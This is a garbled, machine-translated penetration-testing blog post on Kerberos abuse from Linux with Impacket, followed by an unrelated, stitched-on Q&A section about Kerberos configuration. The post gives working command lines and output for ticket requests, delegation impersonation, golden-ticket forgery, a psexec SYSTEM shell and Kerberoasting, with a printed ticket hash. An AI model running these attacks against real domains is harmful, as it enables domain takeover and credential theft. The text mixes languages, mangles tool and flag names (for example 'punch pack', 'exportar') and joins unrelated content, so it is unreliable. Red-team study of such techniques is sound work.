Linux Kerberos Abuse
This post is intended to provide an overview of the tools available to perform common Kerberos abuse techniques on Linux. While this blog does not detail how attacks using these techniques work, references are provided to high quality blog posts that detail common Kerberos attacks.
Before we begin, a brief preface is provided on the role of Kerberos in Active Directory and why mastering Kerberos manipulation is beneficial when performing penetration testing.
Kerberos was first developed at MIT and then released as an open source project in the late 1980s. The goal of Kerberos was to solve the problem of allowing users to authenticate to a variety of services deployed on many hosts without requiring that the services themselves would know the individual user's credentials prior to authentication.
MIT attempts to solve this problem by using a centralized authentication daemon that allows users to authenticate to the Kerberos service and request tickets to access existing services outside the context of the Kerberos service itself. These tickets would contain information identifying the user who requested the ticket and alsoencrypted with service account password.
After the user receives the requested ticket, he sends it to the (main) service he wants to access. As the ticket is encrypted by the Kerberos service with the password of the requested service, the receiving service canVerify ticket authenticity by successfully decrypting the ticket🇧🇷 After decryption, the receiving service can verify that identifying information is on the decrypted ticketmatches the user who submitted the ticket.
To prevent users from having to manually authenticate with the Kerberos service each time they want to access another service, the Kerberos service issues the user a ticket to the Kerberos service itself. The ticket obtained from this process is known as a ticket granting ticket (TGT). The TGT is then used in place of the user's credentials when requesting tickets for other services in the Kerberos service. It is important to note that just as tickets are encrypted with the password of the service they are valid for, TGTs are encrypted with the password of the Kerberos service itself (in AD it is the user's krbtgt NTLM hash).
Obviously, the above is a huge simplification of Kerberos version 4+, but it conveys the core idea behind Kerberos without addressing the added complexity to mitigate certain weaknesses. To learn more about how Kerberos works, I recommend checking out theshared dialogfrom MIT on Kerberos design. After reading several explanations of Kerberos, the MIT dialog was the first one that made Kerberos click for me in a meaningful, if somewhat irritating, way.
In Active Directory environments, Kerberos found on port 88/TCP on domain controllers allows users to authenticate to services such as CIFS (SMB shares), LDAP, databases, etc. Additional Service Principal Names (SPNs) can also be created. for other services that can be accessed via Kerberos authentication.
Why do we have to use Kerberos?
Now you might be thinking that since you need a user's credentials (NTLM hash) to request a Kerberos ticket in Active Directory, you can also use credentials instead of tickets to log in to services like SMB authentication or LDAP. To some extent you are correct with this statement, using obtained credentials is generally easier than using tickets, but tickets offer certain advantages beyond those available simply using credentials. namely:
- Some services do not allow direct login via NTLM authentication and may require tickets
- Kerberos should abuse restricted/unrestricted delegation privileges
- Even if the user's credentials are changed, the ticket remains valid (until it expires).
- Golden tickets, which essentially never expire, can be counterfeited and used to maintain access to services.
- Tickets can also be spoofed to allow switching between domains within a forest with a trust relationship
- Kerberoasting attacks can often generate highly privileged credentials.
working with tickets
Now for the good stuff. First of all, we need to know how to get tickets for the services we want to access. Tickets can be easily ordered viaPackagefrom
getST.py(received silver ticket) Dash. YeaPackageis installed correctly
getST.pyshould be with you
getST.pytogether with the otherPackageThe scripts mentioned in this blog can be found at
Below is an example of the syntax used to request a ticket from the user
veldt.comdomain for which
cifs(SMB) service (main) on host
DC01.VELDT.COM🇧🇷 The combination of the service (principal) and the host on which the service resides is known as the Service Principal Name (SPN).
[h4x0r@mainframe ~]$ getST.py -dc-ip 192.168.100.5 -spn cifs/DC01.VELDT.COM 'VELDT.COM/jane.adams:Password_goes_here' Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[* ] Get TGT for user[*] Get ST for user[*] Store ticket in jane.adams.ccache
Use of Tickets
In the example above, it indicates that the ticket has been saved
jane.adams.ccache🇧🇷 To tell other packaging tools where to find the ticket to use, the
NUMBER KRB5CCThe environment variable is defined as follows:
[h4x0r@mainframe ~]$ exportar KRB5CCNAME=jane.adams.ccache
NUMBER KRB5CCEnvironment variable now set, we can use the obtained ticket to authenticate ourselves as the previously specified user for the previously specified service.
Before we can successfully authenticate, we need to ensure that we're trying to authenticate using identical information to the one used to request the ticket. For example, when specifying the destination, we need to refer to the destination host by its fully qualified domain name (
email@example.com🇧🇷 If the DNS is not configured correctly for the internal domain used, there is an option to specify the destination IP address in detail (
-destination IP) and domain controller (
-dc-ip🇧🇷 In many cases, the errors you encounter when trying to use Linux Kerberos tickets are due to inconsistencies between the information provided when requesting and using the tickets.
In the following example, we use the previously obtained Kerberos ticket to establish a connection
smbclient.pyText. Note the use of
-k, indicating that Kerberos authentication should be used:
[h4x0r@mainframe ~]$ smbclient.py jane.adams@DC01.VELDT.COM -k -no-passImpacket v0.9.21-dev - Copyright 2019 SecureAuth CorporationType help for command list#sharesADMIN$C$IPC$NETLOGONSYSVOL#
Tickets de phishing
If you're lucky, you might find yourself in a situation where you've compromised a host or have some sort of rights delegation set up (restricted or unrestricted). This allows you to request Kerberos tickets, which can be used to impersonate any user when authenticating against specific SPNs (depending on your delegation configuration).
I won't go into detail about the delegation process as it is quite complex, but I will refer you to the following resources that cover delegation abuse in detail:
To request a Kerberos ticket, which allows us to exploit delegation settings, we can again use packages
getST.pyScript, however, this time going through the
-personalizeflag and specification of the user we want to impersonate (any valid username):
[h4x0r@mainframe ~]$ getST.py -spn HOST/SQL01.VELDT.COM 'VELDT.COM/IIS.Admin:Password_Goes_here' -impersonate Admin -dc-ip 192.168.100.5Impacket v0.9.21-dev - Copyright 2019 SecureAuth Enterprise[*] Get TGT for user[*] Impersonate admin[*] Request S4U2self[*] Request S4U2Proxy[*] Store ticket in Administrator.ccache
Note that in the example above, the SPN provided must match one of the SPNs that the account provided is allowed to delegate to.
Who doesn't love a golden ticket? I know it does, and what's more, I love the ability to create one without having to mess with Mimikatz or other Windows tools that, at some point in your penetration testing efforts, need to be flagged by AV. For this reason, we fulfill the request for Golden Tickets with the tools available in it.
punch pack(I'm sure you're seeing a pattern here.)
Well, for those who are not familiar with the concept of Golden Tickets, I will give you a brief overview. Remember at the beginning of this blog when I described the need for granting tickets and highlighted the importance of encrypting them with the
krbtgtntlm hash user? Well, the reason is that this is at the heart of the Golden Ticket counterfeit. If we access the NTLM hash of
krbtgtuser (i.e. downloaded from a domain controller), we can spoof granting tickets to anyone
S.I.D.like and encrypted with the NTLM hash of
krbtgtusers to consolidate its authenticity.
You might be wondering what's the point of forging a golden ticket when you already have the access level to dump NTLM hashes from a domain controller, and that's understandable. Therefore, the following list highlights the benefits of using Golden Tickets during engagements:
- Golden tickets can be used to escalate privileges between two domains with configured trust relationships (seeon here,on here, jon here)
- Golden tickets remain valid even if a user's password expires or is changed
- The only way to invalidate a golden ticket is to change it.
krbtgtuser password twice
So what do we need to fake Golden Tickets? As mentioned above, we need:
- Hash NTLM de
- Target Domain SID
We assume you already have the NTLM hash of
krbtgtUsers and skip straight to Get the
SID🇧🇷 To retrieve target domains
S.I.D., the script
punch packcan be used as follows, where the target host is the domain controller:
[h4x0r@mainframe ~]$ lookupsid.py veldt.com/jane.adams:Password_Goes_here@192.168.100.5 Impacket v0.9.21-dev – Copyright 2019 SecureAuth Corporation[*] SID de força bruta em 192.168.100.5[*] StringBinding ncacn_np : 192.168.100.5[\pipe\lsarpc][*] El SID der Domänen: S-1-5-21-3698971782-1394112190-1761101054498: VELDT\Enterprise Controladores de dominio de solo lectura (SidTypeGroup)500: VELDT\Administrator ( SidTypeUser)501: FIELD\Guest (SidTypeUser)502: FIELD\krbtgt (SidTypeUser)512: FIELD\Domain Admins (SidTypeGroup)513: FIELD\Domain Users (SidTypeGroup)514: FIELD\Domain Guest (SidTypeGroup)515: FIELD\ Domänencomputer (SidTypeGroup) ) )516: FIELD\Controladores de domínio (SidTypeGroup)517: FIELD\Cert Publishers (SidTypeAlias)518: FIELD\Schema Admins (SidTypeGroup)519: FIELD\Enterprise Admins (SidTypeGroup)520: FIELD\Group Policy Ersteller- Inhaber (SidTypeGroup)
With domain SID obtained from above command output
S-1-5-21-3698971782-1394112190-1761101054, now we can use
punch packto claim a Golden Ticket. How Kerberos works with
SAMUsernames, the username provided can be anything, even if the user doesn't exist. By default, the fake ticket contains
SIDfor the following groups (which may be referenced in the output above): 513, 512, 520, 518, 519. However, an alternative list of groups can be specified with
- The group🇧🇷 finally additional domain
SIDcan be specified
-extra-sid-flag useful for pivoting between domain trusts.
[h4x0r@mainframe ~]$ ticketer.py -nthash $NT_HASH_ONLY -domain-sid S-1-5-21-3698971782-1394112190-1761101054 -domain VELDT.COM h4x0rImpacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[*] Basic Ticket Creation and PAC-Info[*] Ticket Customization for VELDT.COM/h4x0r[*] PAC_LOGON_INFO[*] PAC_CLIENT_INFO_TYPE[*] EncTicketPart[*] EncAsRepPart[*] Final Ticket Signing/Encryption[*] PAC_SERVER_CHECKSUM [*] PAC_PRIVSVR_CHECKSUM [*] EncTicketPart[*] EncASRepPart[*] Store ticket in h4x0r.ccache
Then we can adjust them
NUMBER KRB5CCEnvironment variable as described above:
[h4x0r@mainframe ~]$ export KRB5CCNAME=h4x0r.ccache
and then use
psexec.pyScript to open a shell as a non-existent user
h4x0r, on every host in the domain for which the
[h4x0r@mainframe ~]$ psexec.py VELDT.COM/h4x0r@SQL01.VELDT.COM -k -no-pass -dc-ip 192.168.100.5 -target-ip 192.168.100.16Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation[*] Requesting shares at 192.168.100.16.....[*] Writable share found ADMIN$[*] Loading file PBZpOwXM.exe[*] Opening SVCManager at 192.168.100.16.... .[ *] Creating wssq service at 192.168.100.16.....[*] Starting wssq service.....[!] Press help for additional shell commandsMicrosoft Windows [version 10.0.17763.737](c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoamint\System Authority
Ah Kerberoasting, what's not to love? If this question doesn't sound rhetorical, I'll briefly explain why it should be.
In summary, SPNs in Active Directory are usually tied to user accounts (as opposed to computer accounts) to allow services such as databases or web servers to access resources based on permissions configured for Active Directory users. As mentioned earlier, Kerberos tickets are encrypted using the NTLM hash of the SPN for which they are requested. Also, the plain text of the Kerberos ticket is known to the requesting entity. This makes it possible to request Kerberos tickets to services configured with SPNs linked to user accounts and perform a brute force attack to find out what password was used to encrypt the ticket.
In many cases, such as the following, SPNs are tied to highly privileged (or more commonly overprivileged) Active Directory accounts. This is usually because applications automatically configure SPNs to have administrative privileges, or system administrators provide services where the required privileges are unknown, so they just grant administrative privileges to the service.
Below is an example of running a Kerberoasting attack using
GetUserSPNs.pyText. The resulting Kerberos TGS can be decrypted using John The Ripper or Hashcat (13100 mode).
[h4x0r@mainframe ~]$ GetUserSPNs.py -dc-ip 192.168.100.5 'VELDT.COM/jane.adams:Password_goes_here' -request Impacket v0.9.21-dev - Copyright 2019 SecureAuth CorporationServicePrincipalName Nombre MemberOf PasswordLastSet LastLogon ----- --------------- --------- -------- ------------------ -------- ---------------------HTTP/IIS01.VELDT.COM IIS.Admin 2020-01-26 19:55:02.893201 2020 -01-26 21:18:16.328180 $krb5tgs$23$*IIS.Admin$VELDT.COM$HTTP/IIS01.VELDT.COM*$9ae7773caec31e3e4ce94afa33313e93$73272e7bb959ba7bc8cc12088b81419ee70dce471c50e1a627fdca67f519d55da30a584c2215c6f4a0a998171707131df775e9e746037792e25baf926746d8d739f985781aba3ca064a86980f4ec147776b5f31ab960a06d887ead795d778528e28814f36bc277ec97f0fa3b9eb6b26531f91a2c376c6364346c790c2bca845ec48167321ba0175613594e1d5aebf454d64b6c739e590865f880d5f366a05cf0b98cdfc6a89705c8aaa4d23744278ec348139fca7deb3b3511f80bd434f4c60a2fc63a40eb3037dec2d681a861ef9b48997f285ab2ff161c89b04d00dffb8eefe38e1cebd513580a565dbf55c979ed872b63271d3f1ad4ef0561 dfaf d 17235197d17da5d1e120d9ec582a4e37dc6bac93d8f2de54a3ff1e4f5cd4f70b8adc39581af608a6a5429e8ddd33d... cortado...
I hope this post has given you a decent overview of (mis)usage of Kerberos in Linux and also the reasons why you should do it.
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Resolution. To resolve this problem, update the registry on each computer that participates in the Kerberos authentication process, including the client computers. We recommend that you update all of your Windows-based systems, especially if your users have to log on across multiple domains or forests.How do I disable Kerberos authentication in Linux? ›
To enable or disable Kerberos authentication, run pam-auth-update from a command prompt.How to check if Kerberos authentication is enabled in Linux? ›
- Step1: Check if Your Linux Machine Has a Kerberos Installation. ...
- Step 2: Use the Kinit Tool To Create Yourself a Ticket. ...
- Step 3: Use the Klist Tool To Check Your Credentials. ...
- Step 4: Check the Kerberos Packages Installed. ...
- Step 5: Check Your Kerberos Version.
“Kerberos Linux is an authentication protocol for individual Linux users in any network environment. It helps to provide secure Single Sign-On (SSO) or secure network logins over non-secure networks by authenticating service requests between trusted and untrusted networks.How do I check my Kerberos settings? ›
- In the administrative console, click Security > Global security.
- From Authentication, click Kerberos configuration.
- Enter your Kerberos service name. ...
- Enter the Kerberos configuration file name or click Browse to locate it. ...
- Optional: Enter the Kerberos keytab file name or click Browse to locate it.
- Log on to the host on which you want to disable Kerberos authentication.
- Edit ego. conf at EGO_CONFDIR to remove the EGO_AUTH_PLUGIN parameter. When you disable Kerberos, the message-integrity check is also disabled.
- Install Kerberos KDC server and client. Download and install the krb5 server package. ...
- Modify the /etc/krb5. conf file. ...
- Modify the KDC. conf file. ...
- Assign administrator privileges. ...
- Create a principal. ...
- Create the database. ...
- Start the Kerberos Service.
Operations Manager can now support Kerberos authentication wherever the WS-Management protocol is used by the Management Server to communicate with UNIX and Linux computers.Which tool should you use to enable Kerberos security? ›
To configure the Administration Tool, click the menu Tools > Admin Tool preferences. In this wizard, provide the following details: Select Kerberos authentication. If in the future, you want this Administration Tool to use the authentication configured in the database, select Standard authentication.Which package is required for Kerberos in Linux? ›
Clients and basic configuration
For a basic Kerberos install on a Red Hat system, install the krb5-workstation package.
Key Distribution Center (KDC): In a Kerberos environment, the authentication server logically separated into three parts: A database (db), the Authentication Server (AS), and the Ticket Granting Server (TGS). These three parts, in turn, exist in a single server called the Key Distribution Center.What is Kerberos example? ›
Example of the Kerberos process
At the start of your workday, you enter your password into your client. The password is authenticated by the AS, and you are then granted a TGT by the KDC. This ticket has a set of keys to the dataScience realm. The TGT is then cached on your computer for later use.
Kerberos is a protocol for authenticating service requests between trusted hosts across an untrusted network, such as the internet. Kerberos support is built in to all major computer operating systems, including Microsoft Windows, Apple macOS, FreeBSD and Linux.Where are Kerberos logs Linux? ›
Logging for the KDC is usually configured in either /etc/krb5kdc/kdc. conf (sometimes /var/lib/krb5kdc/… ) or the global /etc/krb5. conf .What 4 requirements were defined by Kerberos? ›
- Secure – no masquerading.
- Reliable – distributed server architecture.
- Transparent – user unaware authentication is taking place.
- Scalable – support large number of clients and servers.
- Start Registry Editor.
- Add the following registry value: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters. ...
- Quit Registry Editor. ...
- You can find any Kerberos-related events in the system log.
Kerberos was developed at MIT in the 1980s. It was named after the three-headed watchdog in classical Greek mythology that guards the gates to Hades.Where is Kerberos installed? ›
Normally, this file is installed under the /etc directory. For Kerberos authentication in IBM Spectrum Conductor, the default credential cache and the logs that are specified in the /etc/krb5.Is Kerberos enabled by default? ›
Kerberos authentication is currently the default authorization technology used by Microsoft Windows, and implementations of Kerberos exist in Apple OS, FreeBSD, UNIX, and Linux.
Similar to an AS-REP Roasting attack, kerberoasting requires access to the domain-joined network as a domain user or credentials of a domain user. This attack involves the following steps: An attacker identifies Active Directory accounts with Service Principal Names (SPNs) set.What are the vulnerabilities of Kerberos? ›
A vulnerability in the Kerberos authentication feature of Cisco Adaptive Security Appliance (ASA) Software could allow an unauthenticated, remote attacker to impersonate the Kerberos key distribution center (KDC) and bypass authentication on an affected device that is configured to perform Kerberos authentication for ...What is the problem that Kerberos addresses? ›
Kerberos was designed to provide secure authentication to services over an insecure network. Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network.What are the requirements for Kerberos? ›
You must have the Kerberos infrastructure set up in your deployment environment before you can use the Kerberos cipher suites with JSSE. In particular, both the TLS client and server must have accounts set up with the Kerberos Key Distribution Center (KDC).How do I enable authentication in Linux? ›
- Now that you have your key copied, log into the remote machine. ...
- sudo nano /etc/ssh/sshd_config. ...
- PasswordAuthentication yes. ...
- PasswordAuthentication no. ...
- sudo systemctl restart sshd. ...
- Congratulations, you've just added another layer of security to your Linux servers.
Kerberos Authentication Steps
The user issues an encrypted request to the Authentication Server. When the AS gets the request, it searches for the password in the Kerberos database based on the user ID. If the user typed in the correct password, the AS decrypts the request.
Kerberos integration is also supported by Remedy Single Sign On which is the main authentication module that is used for a great number of BMC products.Which of the following command is used to perform administrative operations on the Kerberos database? ›
The kdb5_util command is the primary tool for administrating the Kerberos database.What is used to request access to services in the Kerberos process? ›
A client (a user, or a service such as NFS) begins a Kerberos session by requesting a ticket-granting ticket (TGT) from the Key Distribution Center (KDC). This request is often done automatically at login. A ticket-granting ticket is needed to obtain other tickets for specific services.Which command to configure Kerberos client in Linux? ›
Install Kerberos Clients and configure onto all the Linux® nodes. On all nodes, run the command yum install krb5-workstation to install the Kerberos workstation.
Kerberos provides a centralized authentication server whose function is to authenticate users to servers and servers to users. In Kerberos Authentication server and database is used for client authentication. Kerberos runs as a third-party trusted server known as the Key Distribution Center (KDC).How do I restart Kerberos client service in Linux? ›
- In a character-based interface, enter call QP2TERM at the command line. ...
- At the command line, enter export PATH=$PATH:/usr/krb5/sbin . ...
- At the command line, enter stop. ...
- At the command line, enter start.
Kerberos is a network authentication protocol. It is designed to provide strong authentication for client/server applications by using secret-key cryptography. A free implementation of this protocol is available from the Massachusetts Institute of Technology. Kerberos is available in many commercial products as well.How many keys does Kerberos use? ›
The Kerberos makes use of three types of keys: Client/user secret key: The hash generated by the user's password. TGS secret key: The hash of the password required to determine the ticket-granting server. Server secret key: The hash of the password used to determine the server offering the service.What is the importance of the Kerberos? ›
Kerberos is designed to completely avoid storing any passwords locally or having to send any passwords through the internet and provides mutual authentication, meaning both the user and the server's authenticity are verified.What are the two components of Kerberos? ›
The Kerberos server is called the Key Distribution Center (KDC). The KDC has two functions: an Authentication Service (AS) and a Ticket Granting Service (TGS).What is Kerberos port number? ›
Kerberos clients need to send UDP and TCP packets on port 88 and receive replies from the Kerberos servers.What is a Kerberos password? ›
Kerberos was designed to protect your credentials from hackers by keeping passwords off of insecure networks, even when verifying user identities. Kerberos, at its simplest, is an authentication protocol for client/server applications. It's designed to provide secure authentication over an insecure network.How many versions of Kerberos are there? ›
Specifically, Kerberos uses cryptographic tickets in order to avoid transmitting plain text passwords over the wire. Kerberos was based upon the Needham-Schroeder protocol. There are two versions of Kerberos currently in use, version 4 and version 5.What is a Kerberos domain? ›
A Kerberos realm is the domain over which a Kerberos authentication server has the authority to authenticate a user, host or service. A realm name is often, but not always the upper case version of the name of the DNS domain over which it presides.
A Kerberos encryption type (also known as an enctype) is a specific combination of a cipher algorithm with an integrity algorithm to provide both confidentiality and integrity to data.How do I fix authentication error? ›
Unplug the device from power, or restart using the power button. Head back to factory settings. On an Android device, head to "Settings" and "Backup and Reset." Turn on "Automatic Restore," and then tap "Reset Phone." On iOS, Go to Settings > General > Transfer or Reset iPhone.What causes Kerberos pre authentication failed? ›
This problem can occur when a domain controller doesn't have a certificate installed for smart card authentication (for example, with a “Domain Controller” or “Domain Controller Authentication” template), the user's password has expired, or the wrong password was provided.How do I disable Kerberos authentication in Chrome? ›
- Navigate through Menu bar to Tools -> Internet Options -> Security.
- Select Local Intranet and Click on "Custom Level" button.
- Scroll to bottom of the window to User Authentication section, select "Prompt for user name and password"
- Click Ok, Apply and Ok to save changes.
How to Enable Kerberos Authentication in Google Chrome. You can configure these setting using GPO for Chrome (AuthServerWhitelist policy) or using the registry parameter AuthNegotiateDelegateWhitelist located in registry key HKLM\SOFTWARE\Policies\Google\Chrome (How to deploy a registry keys using GPO).What causes authentication errors? ›
If you receive this error message, that means that the username and/or password that you have entered is incorrect. The error message states “Authentication failed! Try again.” You may have locked your account after too many attempts and your account will need to be reset.What are the causes of authentication failure? ›
There are quite a few conditions that could cause Authentication Failed: The user name is incorrect. Usually this is the same as your email address, however some SMTP servers require a different set of credentials that are separate from those used to receive email. The password is incorrect.Can you bypass authentication? ›
Some platforms enable users to generate tokens in advance, sometimes providing a document with a certain number of codes that can be used in the future to bypass 2FA should the service fail. If an attacker obtains the user password and gains access to that document, they can bypass 2FA.What attacks does Kerberos prevent? ›
The good news is that the Kerberos protocol has built-in protection against man-in-the-middle attacks. Since Kerberos performs mutual authentication, by confirming not only the end user's identity but also the server's identity, man-in-the-middle attacks are thwarted.Why is Kerberos on my computer? ›
Kerberos is used to authenticate entities requesting access to network resources, especially in large networks to support SSO. The protocol is used by default in many widely used networking systems. Some systems in which Kerberos support is incorporated or available include the following: Amazon Web Services.
Can Kerberos Be Hacked? Yes. Because it is one of the most widely used authentication protocols, hackers have developed several ways to crack into Kerberos. Most of these hacks take advantage of a vulnerability, weak passwords, or malware – sometimes a combination of all three.Can I delete Kerberos? ›
You can delete an MIT Kerberos provider and remove it from all the referenced access zones. When you delete a provider, you also leave an MIT Kerberos realm.How do I know if my ad is using Kerberos? ›
Assuming you're auditing logon events, check your security event log and look for 540 events. They will tell you whether a specific authentication was done with Kerberos or NTLM. Save this answer.What is an example of Kerberos? ›
The most well-known use of Kerberos is for Microsoft's Active Directory, a default directory service included in Windows 2000 and onward to control domains and authenticate users.